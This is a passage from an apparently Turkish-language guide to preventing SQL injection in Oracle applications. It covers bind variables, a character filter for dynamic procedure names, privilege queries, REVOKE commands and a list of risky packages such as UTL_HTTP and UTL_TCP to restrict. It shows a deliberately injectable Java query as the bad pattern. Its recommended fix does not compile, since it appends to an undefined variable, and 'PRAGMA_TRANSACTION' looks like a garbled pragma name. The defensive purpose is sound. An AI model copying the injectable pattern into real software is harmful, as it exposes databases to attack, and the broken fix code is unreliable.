'ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890_#$@.');
LIKE şartı
Bind değişkenleri LIKE şartında geçerlidir ve kullanılmalıdırlar. % ve _ karakterleri SQL sorgusuna birleştirilmek yerine direk olarak string'e eklenmelidirler.
Aşağıdaki ekleme kullanılmamalıdır:
String name = request.getParameter("name");
conn.prepareStatement("SELECT id FROM users WHERE name LIKE '%" + name + "%'");
Bunun yerine birden fazla sorgu ve bir bind değişkeni kullanılmalıdır:
String name = request.getParameter("name");
name = query.append("%").append(name).append("%");
pstmt = conn.prepareStatement("SELECT id FROM users WHERE name LIKE ?");
pstmt.setString (1, name);
Dinamik Prosedür ve Fonksiyon Çağrıları
Bir prosedür veya fonksiyon çağrısını dinamik olarak yaratırken, prosedür veya fonksiyon ismi için bind değişkeni kullanılamaz. Çoğu uygulamada geçerli veritabanı obje isimleri (prosedür ve fonksiyon isimleri) sadece alfanümerik karakterler ve _ , $ ve # işareti içerebilir. Nokta ve @ işareti paket isimleri ve veritabanı linklerini belirlemede kullanılır. Tek tırnak ve diğer özel karakterler geçerli değildir.
Tüm dinamik olarak çağrılan prosedür veya fonksiyonlar kontrol edilmeli ve geçersiz karakterler string'den çıkarılmalı.
PL/SQL'de TRANSLATE fonksiyonu bir obje isminden geçersiz karakterleri çıkarmada kullanılabilir:
translate(upper(<input string>),
'ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890_#$@. `~!%^*()-=+{}[];":''?/><,|\',
'ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890_#$@.');
Oracle Fonksiyonları
Varsayılan olarak, Oracle 175 standart veritabanı pakedinde 1,000'in üzerinde fonksiyon ile gelir. Bu fonksiyonların çoğunun PUBLIC imtiyazı vardır.
Fonksiyon İmtiyazlarını Belirleme
PUBLIC için tüm mevcut fonksiyonlar aşağıdaki sorgu ile bulunabilir:
select *
from dba_tab_privs p, all_arguments a
where grantee = 'PUBLIC'
and privilege = 'EXECUTE'
and p.table_name = a.package_name
and p.owner = a.owner
and a.position = 0
and a.in_out = 'OUT'
order by p.owner, p.table_name, p.grantee
Fonksiyonlara Erişimi Kısıtlama
Bir paket içerisindeki spesifik fonksiyonlara erişim kısıtlanamaz - sadece tüm pakede erişim kısıtlanabilir. Bir pakede PUBLIC erişimi kaldırmak için aşağıdaki SQL komutunu yetkili bir kullanıcı ile çalıştırın:
REVOKE EXECUTE ON <paket_ismi> FROM public
Örnek olarak, UTL_HTTP pakedine erişimi kaldırmak için:
REVOKE EXECUTE ON sys.utl_http FROM public
Standart Fonksiyonlar
Standart Oracle fonksiyonlarında hafıza taşması açıkları bulundu: BFILENAME, TZ_OFFSET, TO_TIMESTAMP_TZ, FROM_TZ, NUMTOYMINTERVAL, ve NUMTODSINTERVAL.
Bu fonksiyonlar STANDARD veritabanı pakedindeler ve bu fonksiyonları erişimi kısıtlamanın bir yolu yoktur. Standart Oracle fonksiyonlarındaki hafıza taşması açıklarını kapatmak için en güncel Oracle Kritik Yama Güncellemesini geçmelisiniz.
Oracle Fonksiyonları
Oracle standart veritabanı paketlerinde yüzlerce fonksiyon sunar. Bu paketlerin çoğu DBMS_ veya UTL_ ile başlar.
Aşağıdaki paketler gözden geçirilmeli. Eğer paket uygulama tarafından kullanılmıyorsa erişim kısıtlanmalıdır:
DBMS_JAVA_TEST
DBMS_LOCK
DBMS_PIPE
DBMS_RANDOM
UTL_FILE
UTL_HTTP
UTL_SMTP
UTL_TCP
Özel hazırlanmış uygulama fonksiyonları
Uygulama için hazırlanmış olan fonksiyonlar da SQL enjeksiyon saldırılarından etkilenebilirler.
Özel hazırlanmış fonksiyonlara erişim aşağıdakilere karar vermede gözden geçirilmelidir:
1. Web uygulamasının bu fonksiyona erişimi gerekiyormu?
2. Eğer fonksiyon ile sql injection saldırısı yapılırsa, uygulamaya etkisi ne kadar?
3. PRAGMA_TRANSACTION olarak işaretlenen fonksiyon varmı? Bu fonksiyonlar SELECT sorgusunda çalıştırılabilir ve veritabanına yazabilirler.
Referanslar:
“Using Database Functions in SQL Injection Attacks”
http://www.integrigy.com/security-resources “OWASP Guide to Building Secure Web Applications”
http://www.owasp.org/index.php/Category:OWASP_Guide_Project Additional Information on SQL Injection Attacks –
http://www.securityfocus.com/infocus/1644
http://www.nextgenss.com/papers/advanced_sql_injection.pdf
http://www.spidynamics.com/whitepapers/WhitepaperSQLInjection.pdf Oracle Database Security Checklist –
http://otn.oracle.com/deploy/security/